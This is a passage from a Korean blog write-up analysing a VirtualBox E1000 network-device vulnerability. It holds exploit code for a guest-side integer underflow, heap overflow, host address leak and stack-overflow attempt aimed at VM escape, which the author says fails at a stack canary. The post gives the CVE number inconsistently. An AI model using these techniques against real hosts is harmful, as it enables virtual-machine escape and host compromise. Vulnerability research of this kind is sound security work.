    	ctxt_1->tcp_seg_setup.data	= (uint32_t) (MSS_DEFAULT);
    
    	data_2->buffer_addr		= (uint64_t) physical_address;
    	data_2->lower.data		= (uint32_t) (REPORT_STATUS | DESC_DATA | 0x10 | TSE);
    	data_2->upper.data		= (uint32_t) 0;
    
    	data_3->buffer_addr		= (uint64_t) physical_address;
    	data_3->lower.data		= (uint32_t) (EOP | REPORT_STATUS | DESC_DATA | TSE);
    	data_3->upper.data		= (uint32_t) 0;
    
    	ctxt_4->lower_setup.ip_config	= (uint32_t) 0;
    	ctxt_4->upper_setup.tcp_config	= (uint32_t) 0;
    	ctxt_4->cmd_and_length		= (uint32_t) (TCP_IP | REPORT_STATUS | DESC_CTX | TSE | PAYLOAD_LEN);
    	ctxt_4->tcp_seg_setup.data	= (uint32_t) ((0xF << 16));
    
    	data_5->buffer_addr		= (uint64_t) physical_address;
    	data_5->lower.data		= (uint32_t) (EOP | REPORT_STATUS | DESC_DATA | PAYLOAD_LEN | TSE);
    	data_5->upper.data		= (uint32_t) 0;
    	//-----------------------------------------//
    
    	//--------- Fetch new descriptors ---------//
    	idx += 5;
    	tdt = (get_register(TDT) + 5) & 0xFFFF;
    	set_register(TDT, tdt); //TDT 레지스터 다시 업데이트함
    	//-----------------------------------------//
    }

    Tx-descriptor, Tx-buffer를 세팅해준다음 TDT 레지스터를 업데이트하여 현재 처리해야할 descriptor가 있다고 알린다.(전에 말한 tx-buffer의 tail에 추가하는 것)

  1. 해당 과정 즉, write_primitive() 함수를 총 8번 호출한다.
    for (i = 0; i < 8; i++) {
    		write_primitive(0x201f, 0x0058 + 0x2A + 0x8 + i);
    		leaked_bytes[i] = inb(0x4107);
    	}

    write_primitive()가 한번 호출될때마다 ACPI 장치 heap 버퍼의 한바이트를 inb() 명령으로 읽어온다. 총 8번 호출하번 VBoxDD.so 주소를 얻을수 있다.

4. Stack bufoverflow

  1. e1kHandleRxPacket() 함수를 호출시키기 위해 loopback 모드를 다시 enable 시킨다.
    static void enable_loopback(void)
    {
    	uint32_t rctl = get_register(RCTL);
    	rctl |= RCTL_LBM_TCVR;
    	set_register(RCTL, rctl);
    }

  1. 그다음 이제 stack bof를 일으킨다.
    static void stack_overflow(uint64_t leaked_addr)
    {
    	int i;
    	uint32_t	tdt;
    	uint64_t 	physical_address;
    	uint64_t	*codebuff;
    
    
    	struct e1000_ctxt_desc*	ctxt_1 = &(tx_ring[idx+0].ctxt);
    	struct e1000_data_desc*	data_2 = &(tx_ring[idx+1].data);
    	struct e1000_data_desc*	data_3 = &(tx_ring[idx+2].data);
    	struct e1000_ctxt_desc*	ctxt_4 = &(tx_ring[idx+3].ctxt);
    	struct e1000_data_desc*	data_5 = &(tx_ring[idx+4].data);
    
    	//------------- Payload setup -------------//
    
    	// Payload setup
    	// Need to be clean
    	for (i = 0; i < 0x3F90; ++i) {
    		tx_buffer[i] = 0x61; // Fill with garbage "a"
    	}
    	for (i = 0x3F90; i < 0x3F98; ++i) {
    		tx_buffer[i] = 0x00; // Fill with usefull "0"
    	}
    	for (i = 0x3F98; i < 0x4060; ++i) {
    		tx_buffer[i] = 0x00; // Fill with garbage "a"
    	}
    
    	tx_buffer[PAYLOAD_LEN - 152]	= 0x00;
    	tx_buffer[PAYLOAD_LEN - 151]	= 0x00;
    
    	// Setup payload
    	codebuff = (uint64_t *) &(tx_buffer[0x4048]);
    	codebuff = (uint64_t *) &(tx_buffer[0x4028]);
    
      for(ii=0;ii<71;ii++)
      {
              codebuff[ii]=0xDEADBEEFDEADBEEF;
      }
    //----------- Descriptors setup -----------//
    	physical_address = virt_to_phys(tx_buffer);
    
    	ctxt_1->lower_setup.ip_config	= (uint32_t) 0;
    	ctxt_1->upper_setup.tcp_config	= (uint32_t) 0;
    	ctxt_1->cmd_and_length		= (uint32_t) (TCP_IP | REPORT_STATUS | DESC_CTX | TSE | FIRST_PAYLEN);
    	ctxt_1->tcp_seg_setup.data	= (uint32_t) (MSS_DEFAULT);
    
    	data_2->buffer_addr		= (uint64_t) physical_address;
    	data_2->lower.data		= (uint32_t) (REPORT_STATUS | DESC_DATA | 0x10 | TSE);
    	data_2->upper.data		= (uint32_t) 0;
    
    	data_3->buffer_addr		= (uint64_t) physical_address;
    	data_3->lower.data		= (uint32_t) (EOP | REPORT_STATUS | DESC_DATA | TSE);
    	data_3->upper.data		= (uint32_t) 0;
    
    	ctxt_4->lower_setup.ip_config	= (uint32_t) 0;
    	ctxt_4->upper_setup.tcp_config	= (uint32_t) 0;
    	ctxt_4->cmd_and_length		= (uint32_t) (TCP_IP | REPORT_STATUS | DESC_CTX | TSE | 0x4290/*0x4040*/);
    	ctxt_4->tcp_seg_setup.data	= (uint32_t) ((0xF << 16));
    
    	data_5->buffer_addr		= (uint64_t) physical_address;
    	data_5->lower.data		= (uint32_t) (EOP | REPORT_STATUS | DESC_DATA | 0x4290/*0x4040*/ | TSE);
    	data_5->upper.data		= (uint32_t) 0;
    	//-----------------------------------------//
    
    	//--------- Fetch new descriptors ---------//
    	idx += 5;
    	tdt = (get_register(TDT) + 5) & 0xFFFF;
    	set_register(TDT, tdt);

    해당 코드는 힙 오버플로를 일으키게끔 동일하게 tx-descriptor를 세팅해주고, tx_buffer에 더미값+ROP 체인을 걸면 된다. 하지만 여기서 카나리 때문에 RIP 컨트롤은 실패..

    pwndbg> x/gx $rbp+8
    0x7efede510538:	0xdeadbeefdeadbeef
    pwndbg>

예상되는 문제로는, 현재 버박 소스코드를 직접 빌드를 했다. stable 버전에선 위 로직에 카나리 체크 로직이 없는다면 가능할것 같다..

4. 총정리


해당 CVE-2018-3925 분석은 E1000 이더넷 디바이스의 동작과정을 이해하는데 시간이 제일 오래 걸렸다. 사실 아직도 완벽히 이해한 것은 아닌것 같다.

어쨋든 이해한것을 바탕으로 마지막 정리를 해보자.

  1. 초기화 과정 및 heap overflow (1)(2)

    익스 시나리오에서 e1000 어댑터 관련 레지스터 초기화 및 map_mmio() 함수를 통해 e1000 어댑터 물리주소를 가상주소로 변환했다. 그리고 Tx-descriptor 5개를 세팅했다. 위 빨간색 박스가 여기까지의 과정을 나타낸다. (loopback disabled)

    Tx-descriptor 세팅 → Tx-ring 버퍼에 들어감.

    이때 Tx-descriptor를 Tx-ring 버퍼에 복사하는 내부 로직에서 인티저 언더플로우가 발생한다.

  1. NIC에서 이제 패킷 전송을 위해 Rx-ring 버퍼의 패킷을 가져옴(3)(4)

    우리가 세팅한 Tx-descriptor 관련 데이터를 NIC(E1000)로 가져오게 되는데, 위에서 터진 인티저 언더플로우에 의해서 NIC 힙 블록에 복사되는 사이즈가 oversize가 된다. 따라서 내부 EEPROM 구조체 특정 필드를 덮게되고, 이를 이용해서 ACPI 구조체로 leak을 발생시킨다.

  1. 그대로 host로 패킷을 보냄

    현재 루프백 모드를 disabled 시켰기 때문에 그대로 나감. 이제 다시 루프백 모드를 enable 시켜서 stack bof를 일으킴

  1. enable loopback

    다시 Tx-descriptor 5개를 세팅해주고 1 ~ 4 과정을 거친다. 그럼 동일하게 heapoverflow가 발생한다.

  1. stack bof

    현재 루프백 모드가 enable되어있기 때문에 송신한 패킷은 그대로 게스트에게 다시 수신된다. 패킷 수신을 처리하는 함수인 e1kHandleRxPacket() 에서 memcpy 로 인한 stack bof가 터지고 카나리를 우회한다면 RIP 컨트롤이 가능하다. 이때부턴 ROP를 진행하면 된다.

5. 참고자료


https://github.com/hongphipham95/Vulnerabilities/blob/master/VirtualBox/Oracle VirtualBox Intel PRO 1000 MT Desktop - Integer Underflow Vulnerability/Oracle VirtualBox Intel PRO 1000 MT Desktop - Integer Underflow Vulnerability.md

이거를 이용해서 다시 시도해볼예정

728x90

'보안 > 원데이 분석' 카테고리의 다른 글

[linux kernel] CVE-2016-0728 분석  (1) 2021.02.25
dact-0.8.42 RCE  (0) 2021.02.08
CVE-2018-3295 분석(1)  (0) 2020.12.31
CVE-2019-2525, CVE-2019-2548(2)  (0) 2020.08.26
CVE-2019-2525, CVE-2019-2548(1)  (0) 2020.08.26